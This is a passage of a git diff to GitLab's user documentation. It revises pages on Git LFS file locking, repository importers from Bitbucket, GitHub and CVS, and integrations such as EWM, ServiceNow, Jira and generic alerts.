doesn't recognize this command, you'll have to install it. There are +several [installation methods](https://git-lfs.github.com/) that you can +choose according to your OS. To install it with Homebrew: + +```shell +brew install git-lfs +``` + +Once installed, **open your local repository in a terminal window** and +install Git LFS in your repo. If you're sure that LFS is already installed, +you can skip this step. If you're unsure, re-installing it won't do any harm: + +```shell +git lfs install +``` + +Check this document to learn more about [using Git LFS](../../topics/git/lfs/index.md#using-git-lfs). + +### Configure Exclusive File Locks -To lock an entire directory, look for the "Lock" link next to "History". +You need [Maintainer permissions](../permissions.md) to configure +Exclusive File Locks for your project through the command line. -After you lock a file or directory, it will appear as locked in the repository -view. +The first thing to do before using File Locking is to tell Git LFS which +kind of files are lockable. The following command will store PNG files +in LFS and flag them as lockable: - +```shell +git lfs track "*.png" --lockable +``` -Once locked, any merge request to the default branch will fail -to merge until the file becomes unlocked. +After executing the above command a file named `.gitattributes` will be +created or updated with the following content: -## Unlocking a file or a directory +```shell +*.png filter=lfs diff=lfs merge=lfs -text lockable +``` -To unlock a file or a directory, follow the same procedure as when you locked -them. For a detailed view of every existing lock, see the next section on -"Viewing and managing existing locks". +You can also register a file type as lockable without using LFS (to be able, for example, +to lock/unlock a file you need in a remote server that +implements the LFS File Locking API). To do that you can edit the +`.gitattributes` file manually: -You can unlock a file that yourself or someone else previously locked as long -as you have Maintainer or above [permissions](../permissions.md) to the project. +```shell +*.pdf lockable +``` -## Viewing and managing existing locks +The `.gitattributes` file is key to the process and **must** +be pushed to the remote repository for the changes to take effect. -To view or manage every existing lock, navigate to the -**Project > Repository > Locked Files** area. There, you can view all existing -locks and [remove the ones you have permission for](#permissions-on-file-locking). +After a file type has been registered as lockable, Git LFS will make +them read-only on the file system automatically. This means you will +need to **lock the file** before [editing it](#edit-lockable-files). -## Permissions on file locking +### Lock files -The user that locks a file or directory **is the only one** that can edit and -push their changes back to the repository where the locked objects are located. +By locking a file, you verify that no one else is editing it, and +prevent anyone else from editing the file until you’re done. On the other +hand, when you unlock a file, you communicate that you've finished editing +and allow other people to edit it. -Locks can be created by any person who has [push access](../permissions.md) to the repository; i.e., -Developer and higher level, and can be removed solely by their author and any -user with Maintainer permissions and above. +To lock or unlock a file with Exclusive File Locking, open a terminal window +in your repository directory and run the commands as described below. -If a file is locked and you are not the author of its locked state, a -pre-receive hook will reject your changes when you try to push. In the -following example, a user who has no permissions on the locked `.gitignore` -file will see the message below: +To **lock** a file: ```shell -Counting objects: 3, done. -Delta compression using up to 4 threads. -Compressing objects: 100% (3/3), done. -Writing objects: 100% (3/3), 320 bytes | 0 bytes/s, done. -Total 3 (delta 1), reused 0 (delta 0) -remote: GitLab: The path '.gitignore' is locked by Administrator -To https://example.com/gitlab-org/gitlab-foss.git - ! [remote rejected] master -> master (pre-receive hook declined) - error: failed to push some refs to 'https://example.com/gitlab-org/gitlab-foss.git' +git lfs lock path/to/file.png ``` -Similarly, when a user that is not the author of the locked state of a file -accepts a merge request, an error message will appear stating that the file -is locked. +To **unlock** a file: + +```shell +git lfs unlock path/to/file.png +``` + +You can also unlock by file ID (given by LFS when you [view locked files](#view-exclusively-locked-files)): + +```shell +git lfs unlock --id=123 +``` + +If for some reason you need to unlock a file that was not locked by +yourself, you can use the `--force` flag as long as you have **Maintainer** +permissions to the project: + +```shell +git lfs unlock --id=123 --force +``` + +You can normally push files to GitLab whether they're locked or unlocked. + +NOTE: **Note:** +Although multi-branch file locks can be created and managed through the Git LFS +command line interface, file locks can be created for any file. + +### View exclusively-locked files + +To list all the files locked with LFS locally, open a terminal window in your +repo and run: + +```shell +git lfs locks +``` + +The output lists the locked files followed by the user who locked each of them +and the files' IDs. + +On the repository file tree, GitLab will display an LFS badge for files +tracked by Git LFS plus a padlock icon on exclusively-locked files: + + + +You can also [view and remove existing locks](#view-and-remove-existing-locks) from the GitLab UI. + +NOTE: **Note:** +When you rename an exclusively-locked file, the lock is lost. You'll have to +lock it again to keep it locked. + +### Edit lockable files + +Once the file is [configured as lockable](#configure-exclusive-file-locks), it is set to read-only. +Therefore, you need to lock it before editing it. + +Suggested workflow for shared projects: + +1. Lock the file. +1. Edit the file. +1. Commit your changes. +1. Push to the repo. +1. Get your changes reviewed, approved, and merged. +1. Unlock the file. + +## Default branch file and directory locks **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/440) in GitLab Enterprise Edition 8.9. Available in [GitLab Premium](https://about.gitlab.com/pricing/). + +This process allows you to lock one file at a time through the GitLab UI and +requires access to [GitLab Premium, GitLab.com Silver](https://about.gitlab.com/pricing/), or higher tiers. + +Default branch file and directory locks only apply to the default branch set in +the project's settings (usually `master`). + +Changes to locked files on the default branch will be blocked, including merge +requests that modify locked files. Unlock the file to allow changes. + +### Lock a file or a directory + +To lock a file: + +1. Open the file or directory in GitLab. +1. Click the **Lock** button, located near the Web IDE button. + +  + +An **Unlock** button will be displayed if the file is already locked, and +will be disabled if you do not have permission to unlock the file. + +If you did not lock the file, hovering your cursor over the button will show +who locked the file. + +### View and remove existing locks + +The **Locked Files**, accessed from **Project > Repository** left menu, lists +all file and directory locks. Locks can be removed by their author, or any user +with Maintainer permissions and above. - +This list shows all the files locked either through LFS or GitLab UI. diff --git a/doc/user/project/img/code_intelligence_v13_1.png b/doc/user/project/img/code_intelligence_v13_1.png Binary files differdeleted file mode 100644 index 744195caed2..00000000000 --- a/doc/user/project/img/code_intelligence_v13_1.png +++ /dev/null diff --git a/doc/user/project/img/code_intelligence_v13_4.png b/doc/user/project/img/code_intelligence_v13_4.png Binary files differnew file mode 100644 index 00000000000..bbb6ce67bcc --- /dev/null +++ b/doc/user/project/img/code_intelligence_v13_4.png diff --git a/doc/user/project/img/code_owners_invite_members_v13_4.png b/doc/user/project/img/code_owners_invite_members_v13_4.png Binary files differnew file mode 100644 index 00000000000..852a5f68b36 --- /dev/null +++ b/doc/user/project/img/code_owners_invite_members_v13_4.png diff --git a/doc/user/project/img/code_owners_members_v13_4.png b/doc/user/project/img/code_owners_members_v13_4.png Binary files differnew file mode 100644 index 00000000000..e37fe72cd6e --- /dev/null +++ b/doc/user/project/img/code_owners_members_v13_4.png diff --git a/doc/user/project/img/file_lock_merge_request_error_message.png b/doc/user/project/img/file_lock_merge_request_error_message.png Binary files differdeleted file mode 100644 index 64bcc86ac0d..00000000000 --- a/doc/user/project/img/file_lock_merge_request_error_message.png +++ /dev/null diff --git a/doc/user/project/img/file_lock_repository_view.png b/doc/user/project/img/file_lock_repository_view.png Binary files differdeleted file mode 100644 index ced14198da9..00000000000 --- a/doc/user/project/img/file_lock_repository_view.png +++ /dev/null diff --git a/doc/user/project/img/lfs_locked_files_v13_2.png b/doc/user/project/img/lfs_locked_files_v13_2.png Binary files differnew file mode 100644 index 00000000000..0c31ce979de --- /dev/null +++ b/doc/user/project/img/lfs_locked_files_v13_2.png diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md index 56266718d12..89130d5822f 100644 --- a/doc/user/project/import/bitbucket.md +++ b/doc/user/project/import/bitbucket.md @@ -76,3 +76,6 @@ If you've accidentally started the import process with the wrong account, follow 1. Revoke GitLab access to your Bitbucket account, essentially reversing the process in the following procedure: [Import your Bitbucket repositories](#import-your-bitbucket-repositories). 1. Sign out of the Bitbucket account. Follow the procedure linked from the previous step. + +NOTE: **Note:** +To import a repository including LFS objects from a Bitbucket server repository, use the [Repo by URL](../import/repo_by_url.md) importer. diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md index f0e730564d8..d0499730bfe 100644 --- a/doc/user/project/import/bitbucket_server.md +++ b/doc/user/project/import/bitbucket_server.md @@ -37,7 +37,12 @@ Import your projects from Bitbucket Server to GitLab with minimal effort. empty changes. 1. Attachments in Markdown are currently not imported. 1. Task lists are not imported. -1. Emoji reactions are not imported +1. Emoji reactions are not imported. +1. [LFS objects](../../../topics/git/lfs/index.md) are not imported. + + NOTE: **Note:** + To import a repository including LFS objects from a Bitbucket server repository, use the [Repo by URL](../import/repo_by_url.md) importer. + 1. Project filtering does not support fuzzy search (only `starts with` or `full match strings` are currently supported) @@ -62,6 +67,25 @@ The importer will create any new namespaces (groups) if they don't exist or in the case the namespace is taken, the repository will be imported under the user's namespace that started the import process. +#### User assignment by username + +Alternatively, user assignment by username is available behind a `bitbucket_server_user_mapping_by_username` feature flag. +The importer will try to find a user in the GitLab user database using author's `username` or `slug` or `displayName`. +Falls back to author's `email` if user is not found by username. +Similarly to user assignment by email, if no such user is available, the project creator is set as the author. + +To enable or disable user assignment by username: + +Start a [Rails console](../../../administration/troubleshooting/debug.md#starting-a-rails-console-session). + +```ruby +# Enable +Feature.enable(:bitbucket_server_user_mapping_by_username) + +# Disable +Feature.disable(:bitbucket_server_user_mapping_by_username) +``` + ## Importing your Bitbucket repositories 1. Sign in to GitLab and go to your dashboard. @@ -83,4 +107,9 @@ namespace that started the import process. ## Troubleshooting +If the GUI-based import tool does not work, you can try to: + +- Use the [GitLab Import API](../../../api/import.md#import-repository-from-bitbucket-server) Bitbucket server endpoint. +- Set up [Repository Mirroring](../repository/repository_mirroring.md), which provides verbose error output. + See the [troubleshooting](bitbucket.md#troubleshooting) section for [Bitbucket](bitbucket.md). diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md index d2e79458526..2957b33c20e 100644 --- a/doc/user/project/import/cvs.md +++ b/doc/user/project/import/cvs.md @@ -25,10 +25,10 @@ The following list illustrates the main differences between CVS and Git: are not atomic. If an operation on the repository is interrupted in the middle, the repository can be left in an inconsistent state. - **Storage method.** Changes in CVS are per file (changeset), while in Git - a committed file(s) is stored in its entirety (snapshot). That means that's + a committed file(s) is stored in its entirety (snapshot). That means it's very easy in Git to revert or undo a whole change. - **Revision IDs.** The fact that in CVS changes are per files, the revision ID - is depicted by version numbers, for example `1.4` reflects how many time a + is depicted by version numbers, for example `1.4` reflects how many times a given file has been changed. In Git, each version of a project as a whole (each commit) has its unique name given by SHA-1. - **Merge tracking.** Git uses a commit-before-merge approach rather than @@ -54,7 +54,7 @@ Wikipedia article on [comparing the different version control software](https:// CVS is old with no new release since 2008. Git provides more tools to work with (`git bisect` for one) which makes for a more productive workflow. -Migrating to Git/GitLab there is: +Migrating to Git/GitLab will benefit you: - **Shorter learning curve**, Git has a big community and a vast number of tutorials to get you started (see our [Git topic](../../../topics/git/index.md)). diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md index 3838289aec4..f21ec26bdef 100644 --- a/doc/user/project/import/gemnasium.md +++ b/doc/user/project/import/gemnasium.md @@ -83,7 +83,7 @@ back to both GitLab and GitHub when completed.  - Your project is now mirrored on GitLab, where the Runners will be able to access + Your project is now mirrored on GitLab, where the runners will be able to access your source code and run your tests. Optional step: If you set this up on GitLab.com, make sure the project is @@ -105,7 +105,7 @@ back to both GitLab and GitHub when completed. 1. The result of the job will be visible directly from the pipeline view: -  +  NOTE: **Note:** If you don't commit very often to your project, you may want to use diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md index 531b308111a..4cd0c9e02c7 100644 --- a/doc/user/project/import/github.md +++ b/doc/user/project/import/github.md @@ -12,18 +12,6 @@ your self-managed GitLab instance. ## Overview -NOTE: **Note:** -These instructions work for users on GitLab.com, but if you are an -administrator of a self-managed GitLab instance or if you are importing from GitHub Enterprise, -you must enable [GitHub integration](../../../integration/github.md). GitHub integration is the only method for -importing from GitHub Enterprise. If you are using GitLab.com, you can alternatively import -GitHub repositories using a [personal access token](#using-a-github-token), -but this method is not recommended because it cannot associate all user activity -(such as issues and pull requests) with matching GitLab users. -If you are an administrator of a self-managed GitLab instance, you can also use the -[GitHub Rake task](../../../administration/raketasks/github_import.md) to import projects from -GitHub without the constraints of a Sidekiq worker. - The following aspects of a project are imported: - Repository description (GitLab.com & 7.7+) @@ -36,12 +24,37 @@ The following aspects of a project are imported: - Release note descriptions (GitLab.com & 8.12+) - Pull request review comments (GitLab.com & 10.2+) - Regular issue and pull request comments +- [Git Large File Storage (LFS) Objects](../../../topics/git/lfs/index.md) References to pull requests and issues are preserved (GitLab.com & 8.7+), and each imported repository maintains visibility level unless that [visibility level is restricted](../../../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects), in which case it defaults to the default project visibility. +The namespace is a user or group in GitLab, such as `gitlab.com/janedoe` or `gitlab.com/customer-success`. You can do some bulk actions to move projects to different namespaces in the rails console. + +This process does not migrate or import any types of groups or organizations from GitHub to GitLab. + +### If you're using GitLab.com + +If you're using GitLab.com, you can alternatively import +GitHub repositories using a [personal access token](#using-a-github-token), +but we don't recommend this method because it can't associate all user activity +(such as issues and pull requests) with matching GitLab users. + +### If you're importing from GitLab Enterprise + +If you're importing from GitHub Enterprise, you must enable [GitHub integration][gh-import]. + +### If you're using a self-managed GitLab instance + +If you're an administrator of a self-managed GitLab instance, you must enable +[GitHub integration][gh-import]. + +If you're an administrator of a self-managed GitLab instance, you can also use the +[GitHub Rake task](../../../administration/raketasks/github_import.md) to import projects from +GitHub without the constraints of a Sidekiq worker. + ## How it works When issues and pull requests are being imported, the importer attempts to find their GitHub authors and @@ -135,8 +148,8 @@ your GitHub repositories are listed. ## Mirroring and pipeline status sharing -Depending your GitLab tier, [project mirroring](../repository/repository_mirroring.md) can be set up to keep -your imported project in sync with its GitHub copy. +Depending on your GitLab tier, [repository mirroring](../repository/repository_mirroring.md) can be set up to keep +your imported repository in sync with its GitHub copy. Additionally, you can configure GitLab to send pipeline status updates back GitHub with the [GitHub Project Integration](../integrations/github.md). **(PREMIUM)** diff --git a/doc/user/project/index.md b/doc/user/project/index.md index 4e5b924a1b7..c79f2be1d3f 100644 --- a/doc/user/project/index.md +++ b/doc/user/project/index.md @@ -37,6 +37,8 @@ When you create a project in GitLab, you'll have access to a large number of - [Signing commits](gpg_signed_commits/index.md): use GPG to sign your commits - [Deploy tokens](deploy_tokens/index.md): Manage project-based deploy tokens that allow permanent access to the repository and Container Registry. - [Web IDE](web_ide/index.md) +- [CVE ID Requests](../application_security/cve_id_request.md): Request a CVE identifier to track a + vulnerability in your project. **Issues and merge requests:** @@ -192,12 +194,16 @@ To delete a project, first navigate to the home page for that project. ### Delayed deletion **(PREMIUM)** -By default, clicking to delete a project is followed by a seven day delay. Admins can restore the project during this period of time. -This delay [may be changed by an admin](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only). +By default, projects in a personal namespace are deleted after a seven day delay. + +Admins can restore the project during this period of time. +This delay [may be changed by an admin](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). Admins can view all projects pending deletion. If you're an administrator, go to the top navigation bar, click **Projects > Your projects**, and then select the **Deleted projects** tab. From this tab an admin can restore any project. +For information on delay deletion of projects within a group, please see [Enabling delayed Project removal](../group/index.md#enabling-delayed-project-removal) + ## CI/CD for external repositories **(PREMIUM)** Instead of importing a repository directly to GitLab, you can connect your repository @@ -318,7 +324,7 @@ through Git. For example: ```plaintext -machine example.gitlab.com +machine gitlab.example.com login <gitlab_user_name> password <personal_access_token> ``` diff --git a/doc/user/project/integrations/ewm.md b/doc/user/project/integrations/ewm.md new file mode 100644 index 00000000000..be89323a246 --- /dev/null +++ b/doc/user/project/integrations/ewm.md @@ -0,0 +1,30 @@ +# IBM Engineering Workflow Management (EWM) Integration **(CORE)** + +This service allows you to navigate from GitLab to EWM work items mentioned in merge request descriptions and commit messages. Each work item reference is automatically converted to a link back to the work item. + +NOTE: **Note:** +This IBM product was [formerly named Rational Team Concert](https://jazz.net/blog/index.php/2019/04/23/renaming-the-ibm-continuous-engineering-portfolio/)(RTC). This integration is also compatible with all versions of RTC and EWM. + +1. From a GitLab project, navigate to **Settings > Integrations**, and then click **EWM**. +1. Enter the information listed below. + + | Field | Description | + | ----- | ----------- | + | `project_url` | URL of the EWM project area to link to the GitLab project. To obtain your project area URL, navigate to the path `/ccm/web/projects` and copy the listed project's URL. For example, `https://example.com/ccm/web/Example%20Project` | + | `issues_url` | URL to the work item editor in the EWM project area. The format is `<your-server-url>/resource/itemName/com.ibm.team.workitem.WorkItem/:id`. For example, `https://example.com/ccm/resource/itemName/com.ibm.team.workitem.WorkItem/:id` | + | `new_issue_url` | URL to create a new work item in the EWM project area. Append the following fragment to your project area URL: `#action=com.ibm.team.workitem.newWorkItem`. For example, `https://example.com/ccm/web/projects/JKE%20Banking#action=com.ibm.team.workitem.newWorkItem` | + +## Reference EWM work items in commit messages + +You can use any of the keywords supported by the EWM Git Integration Toolkit to refer to work items. Work items can be referenced using the format: `<keyword> <id>`. + +You can use the following keywords: + +- `bug` +- `task` +- `defect` +- `rtcwi` +- `workitem` +- `work item` + +For more details, see the EWM documentation page [Creating links from commit comments](https://www.ibm.com/support/knowledgecenter/SSYMRC_7.0.0/com.ibm.team.connector.cq.doc/topics/t_creating_links_through_comments.html), which recommends against using the additionally-supported keyword `#` because of incompatibility with GitLab. diff --git a/doc/user/project/integrations/generic_alerts.md b/doc/user/project/integrations/generic_alerts.md index dc6aa40ea82..0e8e082859b 100644 --- a/doc/user/project/integrations/generic_alerts.md +++ b/doc/user/project/integrations/generic_alerts.md @@ -1,124 +1,5 @@ --- -stage: Monitor -group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +redirect_to: '../../../operations/incident_management/generic_alerts.md' --- -# Generic alerts integration - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.8. - -GitLab can accept alerts from any source via a generic webhook receiver. -When you set up the generic alerts integration, a unique endpoint will -be created which can receive a payload in JSON format, and will in turn -create an issue with the payload in the body of the issue. You can always -[customize the payload](#customizing-the-payload) to your liking. - -The entire payload will be posted in the issue discussion as a comment -authored by the GitLab Alert Bot. - -NOTE: **Note:** -In GitLab versions 13.1 and greater, you can configure -[External Prometheus instances](../../../operations/metrics/alerts.md#external-prometheus-instances) -to use this endpoint. - -## Setting up generic alerts - -To obtain credentials for setting up a generic alerts integration: - -- Sign in to GitLab as a user with maintainer [permissions](../../permissions.md) for a project. -- Navigate to the **Operations** page for your project, depending on your installed version of GitLab: - - *In GitLab versions 13.1 and greater,* navigate to **Settings > Operations** in your project. - - *In GitLab versions prior to 13.1,* navigate to **Settings > Integrations** in your project. GitLab will display a banner encouraging you to enable the Alerts endpoint in **Settings > Operations** instead. -- Click **Alerts endpoint**. -- Toggle the **Active** alert setting to display the **URL** and **Authorization Key** for the webhook configuration. - -## Customizing the payload - -You can customize the payload by sending the following parameters. All fields other than `title` are optional: - -| Property | Type | Description | -| -------- | ---- | ----------- | -| `title` | String | The title of the incident. Required. | -| `description` | String | A high-level summary of the problem. | -| `start_time` | DateTime | The time of the incident. If none is provided, a timestamp of the issue will be used. | -| `service` | String | The affected service. | -| `monitoring_tool` | String | The name of the associated monitoring tool. | -| `hosts` | String or Array | One or more hosts, as to where this incident occurred. | -| `severity` | String | The severity of the alert. Must be one of `critical`, `high`, `medium`, `low`, `info`, `unknown`. Default is `critical`. | -| `fingerprint` | String or Array | The unique identifier of the alert. This can be used to group occurrences of the same alert. | - -You can also add custom fields to the alert's payload. The values of extra parameters -are not limited to primitive types, such as strings or numbers, but can be a nested -JSON object. For example: - -```json -{ "foo": { "bar": { "baz": 42 } } } -``` - -TIP: **Payload size:** -Ensure your requests are smaller than the [payload application limits](../../../administration/instance_limits.md#generic-alert-json-payloads). - -Example request: - -```shell -curl --request POST \ - --data '{"title": "Incident title"}' \ - --header "Authorization: Bearer <authorization_key>" \ - --header "Content-Type: application/json" \ - <url> -``` - -The `<authorization_key>` and `<url>` values can be found when [setting up generic alerts](#setting-up-generic-alerts). - -Example payload: - -```json -{ - "title": "Incident title", - "description": "Short description of the incident", - "start_time": "2019-09-12T06:00:55Z", - "service": "service affected", - "monitoring_tool": "value", - "hosts": "value", - "severity": "high", - "fingerprint": "d19381d4e8ebca87b55cda6e8eee7385", - "foo": { - "bar": { - "baz": 42 - } - } -} -``` - -## Triggering test alerts - -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Core in 13.2. - -After a [project maintainer or owner](#setting-up-generic-alerts) -[configures generic alerts](#setting-up-generic-alerts), you can trigger a -test alert to confirm your integration works properly. - -1. Sign in as a user with Developer or greater [permissions](../../../user/permissions.md). -1. Navigate to **Settings > Operations** in your project. -1. Click **Alerts endpoint** to expand the section. -1. Enter a sample payload in **Alert test payload** (valid JSON is required). -1. Click **Test alert payload**. - -GitLab displays an error or success message, depending on the outcome of your test. - -## Automatic grouping of identical alerts **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214557) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. - -In GitLab versions 13.2 and greater, GitLab groups alerts based on their payload. -When an incoming alert contains the same payload as another alert (excluding the -`start_time` and `hosts` attributes), GitLab groups these alerts together and -displays a counter on the -[Alert Management List](../../../operations/incident_management/incidents.md) -and details pages. - -If the existing alert is already `resolved`, then a new alert will be created instead. - - +This document was moved to [another location](../../../operations/incident_management/generic_alerts.md). diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md index f2e769dcfc0..443ca11be27 100644 --- a/doc/user/project/integrations/irker.md +++ b/doc/user/project/integrations/irker.md @@ -53,7 +53,7 @@ Irker accepts channel names of the form `chan` and `#chan`, both for the case, `Aorimn` is treated as a nick and no more as a channel name. Irker can also join password-protected channels. Users need to append -`?key=thesecretpassword` to the chan name. When using this feature remember to +`?key=thesecretpassword` to the channel name. When using this feature remember to **not** put the `#` sign in front of the channel name; failing to do so will result on irker joining a channel literally named `#chan?key=password` henceforth leaking the channel key through the `/whois` IRC command (depending on IRC server diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md index f11cd4d9539..3e0b6492477 100644 --- a/doc/user/project/integrations/jira.md +++ b/doc/user/project/integrations/jira.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab Jira integration -If you need to use Jira to track work that's implemented in GitLab, GitLab's Jira integrations make the process of working across systems more efficent. +If you need to use Jira to track work that's implemented in GitLab, GitLab's Jira integrations make the process of working across systems more efficient. This page is about the GitLab Jira integration, which is available in every GitLab project by default, allowing you to connect it to any Jira instance, whether Cloud or self-managed. To compare features with the complementary Jira Development Panel integration, see [Jira integrations](jira_integrations.md). @@ -22,7 +22,9 @@ Features include: - The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings. - **View a list of Jira issues directly in GitLab** **(PREMIUM)** -For additional features, you can install the [Jira Development Panel integration](../../../integration/jira_development_panel.md). This enables you to: +For additional features, you can install the +[Jira Development Panel integration](../../../integration/jira_development_panel.md) **(PREMIUM)**. +This enables you to: - In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests. - Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition. diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md index 90cd9bf3acb..dd22c26be36 100644 --- a/doc/user/project/integrations/jira_integrations.md +++ b/doc/user/project/integrations/jira_integrations.md @@ -18,7 +18,7 @@ Although you can [migrate](../../../user/project/import/jira.md) your Jira issue The following Jira integrations allow different types of cross-referencing between GitLab activity and Jira issues, with additional features: - [**Jira integration**](jira.md) - This is built in to GitLab. In a given GitLab project, it can be configured to connect to any Jira instance, self-managed or Cloud. -- [**Jira development panel integration**](../../../integration/jira_development_panel.md) **(PREMIUM)** - This connects all GitLab projects under a specified group or personal namespace. +- [**Jira development panel integration**](../../../integration/jira_development_panel.md) - This connects all GitLab projects under a specified group or personal namespace. - If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app). - For all other environments, use the [Jira DVCS Connector configuration instructions](../../../integration/jira_development_panel.md#configuration). diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md index f179cd6b98e..7a1f757c138 100644 --- a/doc/user/project/integrations/overview.md +++ b/doc/user/project/integrations/overview.md @@ -39,7 +39,7 @@ Click on the service links to see further configuration instructions and details | [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No | | External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No | | Flowdock | Flowdock is a collaboration web app for technical teams | No | -| [Generic alerts](generic_alerts.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No | +| [Generic alerts](../../../operations/incident_management/generic_alerts.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No | | [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No | | [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google Hangouts Chat | No | | [HipChat](hipchat.md) | Private group chat and IM | No | @@ -59,6 +59,7 @@ Click on the service links to see further configuration instructions and details | [Prometheus](prometheus.md) | Monitor the performance of your deployed apps | No | | Pushover | Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop | No | | [Redmine](redmine.md) | Redmine issue tracker | No | +| [EWM](ewm.md) | EWM work item tracker | No | | [Unify Circuit](unify_circuit.md) | Receive events notifications in Unify Circuit | No | | [Webex Teams](webex_teams.md) | Receive events notifications in Webex Teams | No | | [YouTrack](youtrack.md) | YouTrack issue tracker | No | @@ -82,9 +83,9 @@ Read more about [Service templates](services_templates.md). ## Project integration management -Project integraton management lets you control integration settings across all projects +Project integration management lets you control integration settings across all projects of an instance. On the project level, administrators you can choose whether to inherit the -instance configuraton or provide custom settings. +instance configuration or provide custom settings. Read more about [Project integration management](../../admin_area/settings/project_integration_management.md). diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md index eda6f64ccac..0d3042463c9 100644 --- a/doc/user/project/integrations/prometheus_library/nginx.md +++ b/doc/user/project/integrations/prometheus_library/nginx.md @@ -18,6 +18,8 @@ The [Prometheus service](../prometheus.md) must be enabled. NGINX server metrics are detected, which tracks the pages and content directly served by NGINX. +[`environment_filter`](../../../../operations/metrics/dashboards/variables.md#environment_filter) is one of the predefined variables that metrics dashboards support. + | Name | Query | | ---- | ----- | | Throughput (req/sec) | `sum(rate(nginx_server_requests{server_zone!="*", server_zone!="_", %{environment_filter}}[2m])) by (code)` | diff --git a/doc/user/project/integrations/servicenow.md b/doc/user/project/integrations/servicenow.md new file mode 100644 index 00000000000..d549921b9d9 --- /dev/null +++ b/doc/user/project/integrations/servicenow.md @@ -0,0 +1,41 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# ServiceNow integration + +ServiceNow offers several integrations to help centralize and automate your +management of GitLab workflows. + +## GitLab spoke + +With the GitLab spoke in ServiceNow, you can automate actions for GitLab +projects, groups, users, issues, merge requests, branches, and repositories. + +For a full list of features, see the +[GitLab spoke documentation](https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/administer/integrationhub-store-spokes/concept/gitlab-spoke.html). + +You must [configure GitLab as an OAuth2 authentication service provider](../../../integration/oauth_provider.md), +which involves creating an application and then providing the Application ID +and Secret in ServiceNow. + +## GitLab SCM and Continuous Integration for DevOps + +In ServiceNow DevOps, you can integrate with GitLab repositories and GitLab CI/CD +to centralize your view of GitLab activity and your change management processes. +You can: + +- Track information about activity in GitLab repositories and CI/CD pipelines in + ServiceNow. +- Integrate with GitLab CI/CD pipelines, by automating the creation of change + tickets and determining criteria for changes to auto-approve. + +For more information, refer to the following ServiceNow resources: + +- [ServiceNow DevOps home page](https://www.servicenow.com/products/devops.html) +- [Install DevOps](https://docs.servicenow.com/bundle/paris-devops/page/product/enterprise-dev-ops/task/activate-dev-ops.html) +- [Install DevOps Integrations](https://docs.servicenow.com/bundle/paris-devops/page/product/enterprise-dev-ops/task/activate-dev-ops-integrations.html) +- [GitLab SCM and Continuous Integration for DevOps](https://store.servicenow.com/sn_appstore_store.do#!/store/application/54dc4eacdbc2dcd02805320b7c96191e/) +- [Model a GitLab CI pipeline in DevOps](https://docs.servicenow.com/bundle/paris-devops/page/product/enterprise-dev-ops/task/model-gitlab-pipeline-dev-ops.html). diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md index 7be58ce4ecb..f8172a0f988 100644 --- a/doc/user/project/issue_board.md +++ b/doc/user/project/issue_board.md @@ -15,59 +15,45 @@ organize, and visualize a workflow for a feature or product release. It can be used as a [Kanban](https://en.wikipedia.org/wiki/Kanban_(development)) or a [Scrum](https://en.wikipedia.org/wiki/Scrum_(software_development)) board. -It pairs issue tracking and project management, -keeping everything in the same place, so that you don't need to jump -between different platforms to organize your workflow. +It pairs issue tracking and project management, keeping everything in the same place, +so that you don't need to jump between different platforms to organize your workflow. -With issue boards, you organize your issues in lists that correspond to -their assigned labels, visualizing issues designed as cards throughout those lists. +Issue boards build on the existing [issue tracking functionality](issues/index.md#issues-list) and +[labels](labels.md). Your issues appear as cards in vertical lists, organized by their assigned +labels, [milestones](#milestone-lists), or [assignees](#assignee-lists). -You define your process, and GitLab organizes it for you. You add your labels -then create the corresponding list to pull in your existing issues. When -you're ready, you can drag and drop your issue cards from one step to the next. +Issue boards help you to visualize and manage your entire process in GitLab. +You add your labels, and then create the corresponding list for your existing issues. +When you're ready, you can drag your issue cards from one step to another one. - - 